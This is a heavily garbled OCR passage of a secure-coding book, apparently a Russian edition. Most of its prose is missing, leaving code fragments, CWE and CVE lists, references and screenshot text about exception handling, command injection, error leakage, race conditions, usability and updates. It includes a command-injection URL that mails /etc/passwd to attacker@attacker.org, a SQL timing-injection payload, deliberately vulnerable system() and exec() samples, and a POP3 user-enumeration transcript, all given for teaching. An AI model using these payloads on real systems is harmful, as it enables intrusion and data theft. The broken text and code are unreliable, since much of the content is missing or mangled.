, _try-_except C++,
.

Windows:
char *ReallySafeStrCopy(char *dst, const char *src) {
__try {
return strcpy(dst.src);

}
except(EXCEPTION_EXECUTE_HANDLER)
//

}
return dst;

185

strcpy - , src dst


src NULL, ,
. dst ?
, dst , ?
,
. ,
, . !


, UNIX,
, ; ,
; ,
.
,

13, .
,
. , ,
,
.
,
UNIX ( BSD, System V Linux),
:
-
,
signal .

, (
SEH, EXCEPTION_CONTINUE_EXECUTION).
, (,
), .
(SIG SEGV )
- , ,
. ,
SIG SEGV ,
,
IRC.

#, VB.NET Java
, .
, SEH
Windows, .

188

try

{
//
//
//
//
//
//

(1) XML
(2) XML URI-
(3)
.509
(4) , (2),
/ (3)

catch (Exception )

{
// .
// . .

}
.
, .NET Security Except ion, Xml Exception, IOExceptior.
ArgumentException, ObjectDisposedException, NotSupportedException, FileNotFoundExcepticr

SocketException. .
?
,
, (, -)
,
, . ,
HRESULT E UNEXPECTED; .

Ruby
C# !
.
begin
#
rescue Exception =>
# . Exception -
end


, :
:

catch (...).

catch(Exception).

__except(EXCEPTION_EXECUTE_HANDLER),
EXCEPTION_EXECUTE_HANDLER -

187

sigaction, ,
, ,
.


C++, catch ,

.
. C++ Micro
soft, , / (
catch).
, .
_try, _except .
_finally ,
AbnormalTermination. catch,
.
:
<nt BadFi1ter( DWORD dwExceptionCode )
switch( dwExceptionCode )

{
case EXCEPTION_ACCESS_VIOLATION:
//
return EXCEPTI0N_C0NTINUE_SEARCH:
case EXCEPTION_MY_EXCEPTION:
// - .
// , ,
return HandleMyExcepti on();
default:
// !!!
return EXCEPTIONJXECUTEJHANDLER:

sigaction,
,
. Async-signal-safe functions [7].
, 13.
,
. , /analyze Microsoft
VC++ , :
.'oid ADodgeyFunctionO {
_try {

}
_except( 1 ) {

188

:
warning 6320: Exception-fi1ter expression is the constant
EXCEPTIONJiXECUTE_HANDLER. This might mask exceptions that were not
intended to be handled.

.NET FxCop DoNotCatchGeneralExceptionTyp


, .
Fortify
.NET Java.

es


, .

SEH ;
,
. ,
.

CVE (http://cve.mitre.org/ )
.

CVE-2007-0038
Microsoft MS07-017,
Windows.
.
_except,
.
(ASLR), Win
dows Vista .



. ,
.

C++
,
, : .

189

C++ , .
,
. ,
, , ,

. ,
, .
( ) ,
. ,
C++
, ,
( ).
catch(...), ,
,
.
, ,
:
, catch ( ),
,
/ .
MFC (Microsoft Foundation Classes):
C++ ,
CATCH ALL.
; CException,
, ,
, ,
?

SEH
,
try-except , _except
, .
, ,
,
, ,
,
. ,
.


,
/-
. .

190


13.


Programming with Exceptions in C++ by Kyle Loudon (O Reilly, 2003).
Structured Exception Handling Basics by Vadim Kokielov: http://www.gamedev.
net/reference/articles/article 1272.asp
Exception handling, Wikipedia: http://en.wikipedia.org/wiki/Exception_handling
Structured Exception Handling, Microsoft Corporation: http://msdn.microsoft.
com/ -us/library/ms680657.aspx
Lessons learned from the Animated Cursor Security Bug: http://blogs.msdn.com/sdl/
archive/2007/04/26/lessons-leamed-from-the-animated-cursor-security-bug.aspx
Exception Handling in Java and C# by Howard Gilbert: http://pclt.cis.yale.edu/
pelt/exceptions.htm

.
,
.
.
catch (...),
catch (Exception).
__except(EXCEPTION_EXECUTE_HANDLER).

SIG_SEGV


1994 SGI IRIX,

.
,
,
. (command injec
tion): , ,
. ,
, ,
.

, , , .
sendmail
,
: .
URL, ,
, .
Mozilla

192

10

, Microsoft Outlook *
-.
SQL 1.

CWE
CWE :
CWE-77: .


,
.
API , , :
API .


,
, .

:
. , IRIX ( :) :
char buf[1024];
snprintf(buf. "system lpr -P
system(buf);

%s".

user_input. sizeof(buf)-l):

, ?
. FRED: xter-;.
, ;
. xte~
, , &
. ( :
Windows & , (;)
UNIX.) >
, ^
!
,
.
Windows Server 2003 (:
):

193

,
, Local System!
,
Local System !

, ,
. , ,
.
, . ,
. ,
(, Perl, Ruby Python),
.
Python:
def cal1_func(user_i nput, system_data):
exec special jfunction_fcs("s")' % (system_data. user_input)

Python % ,
*printf .
%s . , ,
, , . ,
system_data sample, user_input f red,
Python :
special_fLmction_sample(,,fred")
, ,
.
, user input ,
Python .
");. , :
red"): print ("foo

:
special_function_sample(,,fred"): print ("foo")

, , foo.
,
.
, , ,
. , SQL,
,
.

,
.
, ,
. ,
UNIX- (
), (,

194

10

, ) (,
, ),
. ,
;
.

API ,
. , UNIX
execv(), ,
.
API , , ,
, ,
. ,
execv() Python,
, . ,
execvO /bin/sh ( ),
.



. SQL
,
: (
), (,
% ).
, .
.


:
( )
.

( ,
).
, , Hi
, .


API
.

195

,
,
( ,
).
, - .
, , .
(
SQL 1),
, ,
(. ).
,
.

C/C++

system(), popen(), execlp(),


execvp()

Posix

C/C++

ShellExecute(); _wsystem()

Win32

Perl

System

Perl

Exec

system, Perl

Perl

(' ')

Perl

Open


, Perl
(pipe). Perl
,
,

Perl

Posix ()

Perl

eval


Perl

Perl

,
/
, Perl

Python

exec, eval

Python

os.system, os.popen


Posix

Python

execfile

eval,
.
,

&

196

10

Python

input

eval(raw_input())
!

Python

compile


, !

Java

Class.forName(String name), Java


Class.newlnstance()
-.
, ,
,
(
)

Java

Runtime.execQ

Java
,

.
,

,


, , ,
,
,
. , ,
-
, ,
UNIX, . , ,
,
. ,
, ,
. ,
,
. ,
, ,
. , .
,
( , ,
;) , ,
- .
, SPI Dynamics Watchfire,
-.

197

CVE (http://cve.mitre.org/)
.

CAN-2001-1187
CGI CSVForm, Perl, ,
(CSV). - OmniHTTPd 2.07
statsconfig.pl. (
file) :
sub modi fy_CSV

{
if(open(CSV.S_[0])){

}
,

.
URL-:
http://www.exampl .com/cgi-bi n/csvform.pi?fi1e=mai120attacker@attacker.org</etc/
passwd|

UNIX ,
. 20 URL;
, CGI.
,
UNIX . ,
- , , ,
~/ .ssh/authorized_keys
, .
, ,
Perl, Perl,

.

CAN-20020652
IRIX
RPC;
. ,
2002 , ,
,
. , ,
, ,
RPC
root.

198

10



. , , !
,
,
;
.
.
:
1. .
2. , .
3. . ,

.



( ).
. -,
, ,
. -,
.
.

.

. ,

. ,
.
:
: ,
, .
: ,
, .
: ,
.
,
.
, ,
.

199

,
,
, .
.
, , .
19 , 24!
:
- , ,
- ( )
.
,
. ,
.
,
. ,
, (
UNIX).
, %22 .
,
UNIX Windows. ,
, .
?
, _, +, : .
, . ,
.
- ,
. ?
. ? . %?
,
.
(~)
, .
,
,
. , /hom e/
blah/application .
/ home/blah,
-blah.
,
.
, ,
, , .
, Ctrl+D,
NULL, .

200

10

.
, ,
.
, ,
,
.

,
. , +
, ,
.
. ,
, RFC
, , . ,
telnet In
ternet Explorer - telnet:.
,
, RFC : ,

telnet:. IE
.
:
, . ,
( Python):
for char in filename:
if (not char in string.asciijetters and not char in string.digits
and char <> '.):
raise "InputValidationError"

,
,
. ,
/,
,
.
.
,
. ,
(,
); ,
, .
, ,
.
,
,
.

201


,
. ;
:
( ,
). ,
. ,
.
(
),

.
.
, ;
,
( ,
, Backspace) .
(
).
. -,
; -,
, ,
. ,
.


Perl Ruby,
.
(taint mode). , Perl
.
, ,
. ,
- .
, .

.
API, ,
-,
.

.
, .

202

10

,

.


How to Remove Meta-Characters from User-Supplied Data in CGI Scripts: www.
cert.org/tech_tips/cgi_metacharacters.html
Locking Ruby in the Safe: http://www.7ubycentral.com/book/taint.html

,
.
,
.
, .

, .
,
100% , .

; .



. ,
, .
, #, Ruby, Python
Java,
.
, , ,
,
, , (
).
,
.
, .

204

11

CWE
CWE (The Common Weakness Enumeration) ,
, .
CWE-81: -
.
CWE-388: .
CWE-209: .
CWE-390: .
CWE-252: .


,
( ASP, , C++);
(, #, Ruby, Python, VB.NET Java).

:
.
.
.
.
.
.


, 12.
: ,
, ,
.
,
.

205

. , ;
. ,
printf ;
. -1, ,
. printf
, stdout
,
, - .
. ,
Windows
, ImpersonateSelf (), Impersonatel_ogonllser() SetThreadToken().
- , ,
, , ,
.
,
(, Local System).
/.
f open ( , ,
) ,
fwrite() fread() .
, , .
( Java)
. ,
(
).
( NullPointerException)
, Java .
,
; , ,
.
, Java ,
- .
, ,
,
. ,
,
.


: , recvO
. recvO
. ,
, recvO 0.
-1, errno .

20

11

;
11 () 11 ():
mal 1(): size 0,
.
size , ,
11 NULL.
real 1(): size 0, ,
memblock, , NULL.
size , ,
real 1 NULL.
, real 1() NULL .
: fgets() NULL
. ,
feof() /ferror().

, .
.


,
strncpy() ,
.
,
! -
!


MulDivO
Windows. ; ,
64- 64- . :
int result = ((long long)x * (long long)y)/z;

,
32- .
, -1
.

C/C++

str ()
. ,

207

,
... , , !
char dest[19]:
char * = strncpy(dest, szSomeLongDataFromAHax0r,19):
if (p) {
// , dest

}
dest
strncpy(), , , ,
dest. , ,
strncpy; NULL
. !
. ,
, assert ,
. ,
, .
DWORD OpenFi1eContents(char *szFilename) {
assert(szFilename != NULL);
assert(strlen(szFilename) > 3);
FILE *f = fopenCszFilename.V):
assert(f);
//
return 1;

}
C/C++ Windows
, Windows
, . Windows
Server 2003 ,

(Local System, Local Service, NetworkService) . ,
:
ImpersonateNamedPi peClient(hPipe);
DeleteFi1e(szFi1eName);
RevertToSelfO;

Local System,
Del eteFi le()
, ,
.
,
Local System, , , ! ,
!

208

11


, ,
, ,
.


-
.
.


,
, void. Windows
, RevertToSel f () SetThreadTokenO.


, .
,
.
.


CVE (Common Vulnerabilities and Exposures) (http://cve.mitre.org/ ).

CVE-2007-3798 tcpdump print-bgp.c:


-
snpri ntf (), -1
(, glibc 2.0).

CVE-2004-0077 Linux: do_mremap



. ,

209

Linux, .

http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt.
---------------------------------------------------------------------------------------------------- 2003 2004
Linux,
. : CVE-2003-0985.



, .

C/C++
assert
,
fromfopen(). assert
, .
IaORD OpenFi1eContents(char *szFilename) {
if (szFilename == NULL || strlerKszFile) <= 3)
return ERR0R_BAD_ARGUMENTS;
FILE *f = fopen(szFilename."r");
if (f == NULL)
return ERR0R_FILE_N0T_F0UND;
//
return 1;

C/C++ Microsoft Visual C++


Microsoft ,
,
. , Foo()
.
_Check_return_ bool FooO {
//

FooO

earning 6031: Return value ignored: Foo

210

11


. (, , 2005), . 5
.
Linux Kernel mremap() Missing Return Value Checking Privilege Escalation:
osvdb.org/display vuln.php?osvdb_id=3986

,
.
,
.

.
, (, Mi
crosoft Visual C++).
, assert( .

.


,
,
( ).
(, ),
.
:
. ,
, -
- ,
,
.
. -

. .
. , ,
, .
-

212

12

, , .
, .
,
, .
,
.
, .
,
.
.
,
,
?

(ACL),
23.

CWE
CWE-209: .
CWE-204: .
CWE-210: ,
.
CWE-538: .



, ,
,
,
. ,

.

, .
,
.
,
.
, .

213



,
.
!
:
.
.


,
.
,
,
. , , ,
.
1 SQL.

. , SQL Server
:
'f exists (select * from foo..table) waitfor delay '0:0:5'

,
. SQL;
MSDN
, SQL.

, : .

, , , . ,
,
. ,
, PlanToBuyExampleCorp.doc .

.
,
,
!

,
. - ,
. ,
, 50

214

12

,
.
/ ,
,
. , ,
, IP- ,
( IPSec).
,
.



, .
,
. ,
,
.

.
,
.



.
.
.
.

( ).
. , - Microsoft IIS .
HTTP GET /
, . Apache
.
, ,
.
, , ,
.

GET . IIS 6.0:
/1.1 200
Content-Length: 1431
Content-Type: text/html

215

Content-Locati on: http://192.168.0 .4/iisstart.htm


Last-Modified: Sat. 22 Feb 2003 01:48:30 GMT
Accept-Ranges: bytes
ETag: "06be97fl4dac21:26c"
Server: Microsoft-IIS/6.0
Date: Fri. 06 May 2005 17:03:42 GMT
Connection: close

server , ,
.
IIS 7.0, Apache 1.3,
, .
:
,
.
,
,
, , .

. - ,
, ,
.



:
-.
.
1-.
, NAT (Network
Address Translation) -, ,
.
.
, IP- .


.
11. ,
.
, ,
(, ),
.
:
,

216

12

SSL/TLS,
( CVE-1999-0007).
,
100% , , , .

( SSL/TLS),
.


, .
,
,
.


, , C++ ,
,
. ,

; ,
.
*printf ()
6.

.
,
.



. , Hi
.

. , , :
. :

.
:
(. 12.1). , ^

217

,
. ,
,
. ,
, ,
; , ,
.
---------------------------------------------------------------------------------------------------- ,
. , 1976 ,
134 !

,
( , ,
, ). , ,
,
( ,
,
).
.

. 1 2 .1 .


. ,
.
, .
, ,
, .

218

12

,
.
, ,

.
(,
) .

. , Java (
) .
,
, , ( ),
.
doPrivilegedO, (
). CLR (Common Language Runtime) .NET
.

C# ( )

... , .
string Status = "No";
string sqlstring ="";
try {
// SQL
} catch (SqlException se) {
Status = sqlstring + " failed\r\n":
foreach (SqlError e in se.Errors)
Status += e.Message + "\r\n ";
} catch (Exception e) {
Status = e.ToStringO;

}
if (Status.CompareToCNo") != 0) {
Response.Write(Status):


11.
,
cookie ( 2), SQL ( 1),

SQL, . 23 (
SSL/TLS) 21 (
) .

219


:
,
.
,
.
.
.

.

.
.


,
,
, . ,
,
, .
,
.
( ,
) , -
, . ,
, .

C/C++ (*nix)

, strerror,

C/C++ (Windows)

GetLastError()

#, VB.NET, ASP.NET

Python

Ruby

Java

220

12

,
,

. ,
.
,
.
,
.
, . ,

, .
, ,
. ,

!

. ,

. ,
, ,
. ,
,
.


,
, .
( )
, .


.
- ,
,
:
.
.
.
.
.

221

1
CVE (http://cve.mitre.org) .

-2008-4638
VxFS (Veritas Software File System)
, ,
: .
www.security-objectives.com/advisories/SECOB\\DV-2008-05.txt.

CVE-2005-1133
IBM AS/400 ;
,
- AS/400
.
AS/400 POP3 (www.venera.
:/downloads/Enumeration_of_AS400_users_viajpop3.pdf),
:
" POP server ready
_5ER notauser
-3K POP server ready
'ASS abed
-ERR Logon attempt invalid CPF2204
-SER mi key
-OK POP server ready
"ASS abed
-ERR Logon attempt invalid CPF22E2

: CPF2204
, , CPF22E2
, .
: ,
notauser, mikey.



, .
,
.

?

222

12

, ,
? ?
? ?
,
, (,
, , )
. ,
, ,
. ,
, .

(ACL Windows Apple Mac OS X, *nix).
23.
(
, ) (RM, Rights
Management). ;
, , ,
, ( ,
, ).
, , .
, ,
RM,
. RM
(,
),


.

C# ( )
#,
,
. :
, Windows.
, ,
(
Security Except ion ),
try {
// SQL
} catch (SqlException se) {
Status = sqlstring + " failed\n\r";
foreach (SqlError e in se.Errors)
Status += e.Message + "\n\r";

223

Windows Identity user = WindowsIdentity.GetCurrent();


WindowsPrincipal prin = new WindowsPrincipal(user):
if (prin.IsInRole(WindowsBuiltInRole.Administrator)) {
Response.Write("Error" + Status):
} else {
Response.Write("An error occurred, please bug your admin"):
// Windows
EventLog.WriteEntryC'SQLApp". Status. EventLogEntryType.Error);

}
, .

.

1
\
. IP -,
. 127.0.0.1 IPv6
::1), .
#:
f (IPAddress.IsLoopbackCi)) {
//


,
(, SELinux Trusted Solaris)
, Argus PitBull Solaris).
[ ,
.
Windows Vista : (, ) (integrity levels);
: Windows
; ,
) ACL, .
,
(, Internet Explorer)
I :
iECURITY_ATTRIBUTES sa = {0}:
ia.nLength = sizeof(SECURITY_ATTRIBUTES):
a.blnheritHandle = FALSE:
/char t *wszSacl = L"S:(ML::NWNR;;;ME)";

224

12

if (ConvertStringSecurityDescriptorToSecurityDescriptor(
wszSacl,
SDDL_REVISION_l.
&(sa.1pSecuri tyDescri ptor),
NULL)) {
wchar_t *wszFilename = argv[l];
HANDLE h = CreateFile(wszFilename.
GENERIC_WRITE. 0,
&sa.
CREATE_ALWAYS.0.NULL);
if (INVALID_HANDLE_VALUE == h) {
wprintf(L"CreateFile failed U d ) \ GetLastErrorO);
} else {
// !

}
} else {
//

}
,
.
, . , Windows
EFS
(Encrypting File System).
, ,

, , ,
. ,
.


Time-Based Blind SQL Injection with Heavy Queries by Chema Alonso: http:/,
technetTnicrosoft.com/en-us/library/cc512676.aspx
Computer Security: Art and Science by Matt Bishop (Addison-Wesley, 2002), Chap
ter 5, Confidentiality Policies.
Default Passwords: www.cirt.net/cgi-bin/passwd.pl
Windows Rights Management Services: www.microsoft.com/resources/documenta
tion/windowsserv /2003/all/rms/en-us/default.mspx
XrML (extensible rights Markup Language): wwwjcrml.org
Windows Vista. . , . (,
, 2008).
Encrypting File System overview: www.microsoft.com/resources/documentation
windows/xp/all/proddocs/en-us/encrypt_overview.mspx

225

,
.

.
).
.

.

(, ).

,
( )
.
: ,
,
.
,
.
( ) ,
,
.
,
ping- .
IP - .
,

.

.

227

,
, - ,
.

CWE
CWE ,
.
CWE-362: ().
CWE-364: .
CWE-365: switch.
CWE-366: .
CWE-367: TOCTOU (Time-of-Check Time-of-Use).
CWE-368: .
CWE-370: .
CWE-421: .

,
. ,
CRL (Certificate Revocation
List) ,
.


,
. ,
, ,

TOCTOU (Time Of Check to Time Of Use,
).

- ,
-
: .
. , , ,

228

13


. C++:
list<unsigned long> g_TheList:
unsigned long GetNextFromListO

{
unsigned long ret = 0:
if(!g_TheList.empty())

{
ret = g_TheList.front();
g_TheLi st.pop_front():

}
return ret:

}
,
, C++
. , , ,
, pop frontO
. ,
? , - - .:
, .
.
(Michal Zalewski1
Delivering Signals for Fun and Profit: Understanding, Exploiting and Preventing
Signal-Handling Related Vulnerabilities http://lcamtuf.coredump.cx/signah
txt. , UNIX
, .
, , UNIX
UNIX- , ,

- .
,
. ,
. ,
! ,
,
.

.
. :
, ,
. , ? , ,

.
. ,
, ,

229

. ,
, ,
.
.
,
. ,
suid root.
root.
, Windows, ,
. , .
Windows: ,
.
System
. ,
, ,
( ),
.
: ,
, Windows 2003
. ,
, Windows , ;
CreateHardLink, Windows Vista
. ,
, . Windows
(, , , ,
. .) ,
.


,
.
. ,
- . :

char* tmp;
-ILE* pTempFi1e ;
imp = _tempnam('7tmp". "MyApp");
DTempFile = fopen(tmp. "w+"):
,
.
MyAppl, 2, . .
, ,
(, ).
, .

230

13


.
.
( 12)
( 18).
-
,

.
,

.

,
. ( ,
),
. .
,
, .
,
,
. 23 Writ
ing Secure Code, Second Edition (Microsoft
Press, 2002). Windows,
.



:
.
, (,
, ),
Windows .
!
,
(/tm p /usr/tm p UNIX).
.

. , Windows
.

231


, ,
, .
,
(,
). ,
.
- ,

.

. , C++ ,
,
.
, , .
, ,
.
, ,
.
, ,
.
, ,
.
, ,
.
(,
) (, /trap /usr/tm p
UNIX \Windows\temp Microsoft).
()
0_EXCL CreateFile CREATE NEW,
.
,
, .
(
), ,
, . ,
f open () 0 EXCL,
()
FILE*.
Microsoft Windows API (, CreateFile)
, . ,
( )
, .

232

13

, mktemp(3),
; mktemp(3)
. UNIX
, Is > /tmp/1 i s t .$$
;
mktemp(l).

C/C++.


,
, .
.
, ,
.
, ,

, , . ,

.
,

.
,
. ,
0 EXCL
. ,
,
. ,
.
.
,
.

CVE
(http://cve.mitre.org/ ).

CVE-2008-0379
Active X Enterprise Tree (EnterpriseControk.dll 11.5.0.313)
Crystal Reports XI Release 2

233

( ),
SelectedSession, .

CVE-2008-29S8
IBM/ISS:
- Checklnstall
, checkinstall installwatch. .
,
.
.

CVE-2001-1349
CVE:
Sendmail 8.11.4, 8.12.0 8.12.0.Betal0
,

.

, .
,
. Sendmail,
SecurityFocus ,
, () .

1-200 3 73
CVE:
at Solaris 2.6 9
. -
.. ( ) ,
,
.
wwwsecurityfocus.com/archive/
1/308577/2003-01-27/2003-02-02/0.
.. / ,
, .

CVE-2000-0849
CVE:
Microsoft Windows Media Server
Windows Media Unicast Service

234

13

(
Unicast Service).
wzm.
microsoft.com/technet/security/Bulletin/MS00-064.mspx.
,
.



. ,
,
,
.
, , Windows
fork , ,
.

, , ,

.

,
,
.
, . ,
:

, ,
.
C++,
. ,
;
.

, . ,
,
. ,
.
,
. ,

,

235

.
, .
.
,
.
.
,

.

exit .
Delivering Signals for
Fun and Profit: Understanding, Exploiting and Preventing Signal-Handling Related
Vulnerabilities:

.
. ,

, .
- /
,
(, ,
).
.
TOCTOU
, .
. Windows
, (
) .

.

.
, ,
CREATE_NEW API CreateFile. ,
. : ,
CreateDi rectory . ,
. ,
C:\ProgramFiles\MyApp, .
,
, ,
.

236

13

; ,
GetLastError ERROR_ALREADY_EX ISTS. ,
,
:

HANDLE hMutex = CreateMutex(...args...):


if(hMutex == NULL)
return false;
if(GetLastError() == ERROR_ALREADY_EXISTS)
{

CloseHandle(hMutex);
return false:


,
,
. ,
. , -
; ,
.


Resource Contention Can Be Used Against You by David Wheeler: www-106.ibm.
com/developerworks/linux/library/l-sprace.html?ca=dgr-lnxw07RACE
RAZOR research topics: http://razor.bindview.com/publish/papers/signals.txt
Delivering Signals for Fun and Profit: Understanding, Exploiting, and Preventing
Signal-Handling-Related Vulnerabilities by Michal Zalewski: www.bindview.com/
Services/Razor/Papers/2001/signals.cfm

.
.
.

.


(1974 .)

. 35 ,
.
:
,
,
.
, ,
.

, .
2000 (Scott Culp),
Microsoft (MSRC, Microsoft Security Response Center),
10
. :
, -

238

14

, 10
.
.
,
(. 19).
(usability),
, ,
.
.

CWE
CWE :
CWE-655:


CWE.


;
!

hi

.
, , , .
, , . !:
: , ,
. !
: . }
.
, ,
. , - ?,
.

.
,
. :
() *
, , ,
,

239


,
.
Windows Vista; Microsoft
Windows,
, :
UAC (User Access Control),
. Windows 7 :
,
.
,
, ,
.
, ,
. ,
.
,
. : ,
, ,
.
:
,
. ,
, . ,
:
, , -,
. ?
20 , ,
. , .
,
- .



, .
:
.
, ,
.
, .
, ,
,
.

240

14

.
: ,
. ,
(
). , ;
. ( , ;
.)
.
, ,
. ,
10
. .
,
, .

,
, .
10 , !

:

, ,
( ):
. :
.
. :
. , 11,
,
.
.
0 Yes
, .
. ,
.
, ;
.
. ,
,
.
: ,
, .

241



, , .
(
, 19),
.



.
, . ,
,
, . , ,
. ,
, ; ,
- .



. :

,
.
, .
.
,
, :
,
. ?
, ,
.
.
.
,
? , ,
.
SSL: ,
,
(. ).

242

14

, .
,
? ,
?



. , ,
-.
, , (
), .
; ,
.
, .
,
.

, . Us
ability Engineering (Jacob Nielsen) (Morgan Kaufmann, 1994).
, (Alma W hitten) . . (J. D. Tygar)

. (
.)

,
. ,

.
, ,
.

SSL/TLS
23. :
,
,
. 14.1 ( Internet Explorer).
,
: ? ,
. Yes, ,

243

. ,
, View Certificate, ,
.
Security Alert
Information you exchange wth this site cannot be viewed or
changed by others. However, there is a problem with the site's
security certificate.
^

The security certificate was issued by a company you have


not chosen to trust Vbw the certificate to determine whether
you want to trust the certifying authority.

The security certificate date is valid.

/t\

The name on the security certificate is invalid or does not


match the name of the site

Do you want to proceed?

Yes

DC

No

View Certificate

. 1 4 .1 . Internet Explorer 6.0

, Internet Explorer 8.0 :


!
.

Internet Explorer 4.0


Internet Explorer 5.0,
(Certification Authority) -
, SSL/TLS,
( OpenSSL Microsoft Certificate
Server), , . 14.2. (
,
.)
Root Certificate Store
Doyou want to ADD the following certificate to the Root Stpre?
Subject: ta@digsigtrust.com, BaltfoioreEZ by DST, Digital SgnaitureTrust COr, US
Issuer: Self Issued

11h-V^idlby'';-Tisesday, -Jul^Cltet,-lS!99-jthrcMgh
:03>:009
v :;
Serial Number :37826D48
Thumbprint (shal) : A3E31E20 B2 6A32 8520472D 0CDE9523 C7260C6D
Thumbprint (md5): A33D88FE I61BDDF9 5C9F1A7F D8C89008
Yes

No

. 14.2. Internet Explorer 4.0

244

14

,
. , (
), .
- (
- SHA-1 MD5 ).
, Internet Explorer 5.0 ,
.


,
.
, ,
,
.


,
. (,
), ,
, ,
!
, : ()
.
, ,
. ,
,
. , ,
.
.
, ? !



. ,
, ,
.
, , ,
.
! , .
.
,
. ,

245

AES
Advanced Encryption Standard). ! , ,
.
. ,
SSL/TLS
HTTPS). ,
, ,
.
?
; Internet Explorer 8.
,
- .
, .
- , ,
. ,
, ,
, .
:
. ,
URL,
.
, -
.
,
(PKI, Public Key Infrastructure).
, .
,
() .

,
SSL/TLS ;
. SSL/

TLS (EV, Extended Validation)


. EV
-
. 384 -
Tec-Ed Research 2007
:
100% ,
.
93% EV.
97%
EV.

246

14

67%
, EV SSL .
77% , , , EV SSL.
,
, .
!
, .
.
,
, .
, ,

. ,
. ,
!


, .
,
, ,
.

, Internet Explorer 6.0 Windows SP2
( Firefox).

. ,
,
.
(
), .
, ,
, - ,
. . 14.3.
3

Home page - Microsoft internet Explorer

9:

File Edit

li

ick

; Address I
I
1

View Favorites

Tools

&

Help
/^ S e a r c h

Favorites

http://www.somefunkywebsite.com

To help protect your security, Internet Explorer has restricted this file from showing active content
that could access your computer. Clickhere for options...

. 14.3. Internet Explorer

247



(,
), ,
!
, ,
.
,
. ,
HTTPS
, . ,
(.
).
,
, .
.
;
, .

Internet Explorer Firefox. . 14.4 ,
Internet Explorer () .
(,
, ), Details Certification Path.
.
Certificate

General [teta& T | Certification Path ]

Certificate Information
This certificate is intended for the following purposes):
AH issuance poboes
AHapplication policies

Issued to: FESTE, Public Notary Certs


Issued by: FESTE, Public Notary Certs
Valid from 5/13/1999 to 1/1/2020

(installCertificate...|

Issuer Statement .

0 * 1

. 14.4. Internet Explorer

248

14


, ,
- . ? - ?
, ?
; : ?
,
.
HTTPS. ,
, ,
, (
). ?
, , , (
) .
;
,
, .
,
.
, ,
, .


( )
. Active Directory
Windows
:
.


The Protection of Information in Computer Systems by Saltzer and Schroeder:
http://web.mit.edu/Saltzer/www/publications/protection/
Usability Engineering by Jakob Nielson (Morgan Kaufman, 1994).
Jakob Nielsons usability engineering web site: www.useit.com
Security and Usability: Designing Secure Systems That People Can Use edited by
Cranor and Garfinkel, various authors (O Reilly Press, 2005)
10 Immutable Laws of Security: www.microsoft.com/technet/archive/community,
columns/security/essays/Wsalaws.mspx
10 Immutable Laws of Security Administration by Scott Culp: www.microsoft.com,
technet/archive/community/columns/security/essays/ Wsalaws.mspx

249

Six Vista Annoyances Fixed in Windows 7 by Ed Bott: http://blogs.zdnet.com/


Bott/?p=632
Examining the Benefits for Merchants Using an EV SSL Certificate: www.evsslguide.com/evsslcertificate/step3.html
Writing Error Messages for Security Features by Everett McKay: http://m sdn.
microsoft.com/library/en-us/dnsecure/html/secu 7ityerrormessages.asp
Why Johnny Cant Encrypt: A Usability Evaluation of PGP 5.0 by Alma W hitten
and J.D. Tyga: www.usenix.org/publications/library/proceedings/sec99/full_papers/
whitten / whittenJitm l/index.html
Usability of Security: A Case Study by Alma W hitten and J.D. Tygar: h ttp ://
reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf
Are Usability and Security Two Opposite Directions in Computer Systems? by
Konstantin Rozinov: http://rozinov.sfs.poly.edu/papers/security_vs_usability.pdf
Use the Internet Explorer Information Bar: www.microsoft.com/windowsxp/using/
web/sp2_infobar.mspx
IEEE Security & Privacy, September October 2004: http://csdl.computer.org/comp/
mags/sp/2004/05/j5toc.htm
Introduction to Group Policy in Windows Server 2003: www.microsoft.com/windowssewer2003/techinfo/ovewiew/gpintro.mspx

;
,
.
, ,
.
.

,
.

.

. .

, !
,
,
.



. : ,
Service Pack,
.
,
.
.
, ,
,
() , .
,
,
-
. ,
.

251

CWE
CWE
, ,
DNS.
CWE-345: .
CWE-247: DNS.
CWE-353: (
).


.
.

,
.



, ,
.
Apple QuickTime,
Safari.
; , Safari 3.1
.
,
.
: Service
Pack .

. ,
, ,
, !


, . ,
,

252

15

.
; .
,
.


-
( - ), .
,
, . ,
;
, , ,
!
, .


.
,
. ,
.


,
,
. ,
; ,
,
, .


,
10 ,
.
, .
; ,
.


.
, 30 .
, 5 ,

253

.
,
.



(RTFM), , .
,

.



. ,
, ,
,
!

DNS
DNS (. 24),
.
, .


, ,
, - .
, -
, !
,
, .


:
.
23.
24,
. , DNS
, , ;
,
, MD5. MD5 ,
, .

254

15

,
, .
,
, (
), ,
- .


, ,
, ?

,
,
. %temp% .


,
,
, , ,
, . ,
,
, .
,
, .


,
,
.
, ,
.
,
, .

. ,
.
(
).
,
,

255

, ,
.
:
;
;

.
,
.
.
/
.

^
,
. ,
. 23.



, .

CVE , ,
* .

Apple QuickTime
Apple
ifari 3.1. Safari
1 , ; Safari
1 .
,
Safari , ,
> . Apple.

256

15

Microsoft SQL Server 2000


SQL Server 2000
, .
,
, SQL Slammer,
.

Google Chrome
Google Chrome -
<_>\\1
Google\Chrome. ,
, Chrome. , Google
,
; Chrome
, C:\Program Files.


, .


,
.
( , ), ,
Apple Safari ,
- QuickTime.
www.pcworld.com/businesscenter/blogs/stub/144831
stop_quicktime_nagging_about_safari.html


,
,
. , , .
,
, ,
.
TOCTOU (Time Of Check to Time Of Use,
) ,
,
.

257


, .
. , ,
, , , ,
, .

, ,
.


: ,
. :
(
, CryptProtectData
). ,
. :

4 , .
(
, ).
,
.
, .


? , .
, , ,
/
. ,
: ,
.
.
,
.


:
,
. ,
.
,

258

15

(,
).
,
; ,
(
).
,
. ,
, .
. ,
, ,
: ,
, , .
,
.


,
,

. ,
;
,
,
.

( :
, ).
, ,
. (
,
, ) .
, ,
;
, . ,
,
.


SQL Slammer Microsoft SQL Server 2000, ,
,
. ,
,

259

: . ,
readme ,
, -
SQL Server, .

,
. ,
,
, .


,
. ,
. -
!
. ,
( , ,
) .
, .
.
, -

, !
,
, .

, .
, -
.

DNS
(. 24),
: DNS!
; ,
, , ( ,
- ).
DNS
. ,
. .


DNS, !

260

15


, ,
MD5 .
SHA-1,
SHA-2, . ,
.
23.


, .
.
, U:
, ,
!
, .
,
,

. ,
.
,
. ,
(
) .
,
.

, ,
,
, .
,
. ,
.



, -
,
;
. , .

, ,

261

,
, , ,
? .
,
, ,
.


.
.


Michael Howard and David LeBlanc, Writing Secure Code, 2nd Ed, Chapter 21.
Microsoft Press, 2003.

,
.
.
,
.
.
.
, ,
.
.
.
DNS.
.



. ,
.
;
, ,
. ,
(Windows) root (Linux, Mac OS X BSD),
( 7) ,
root.
,
. ,
,
.

263

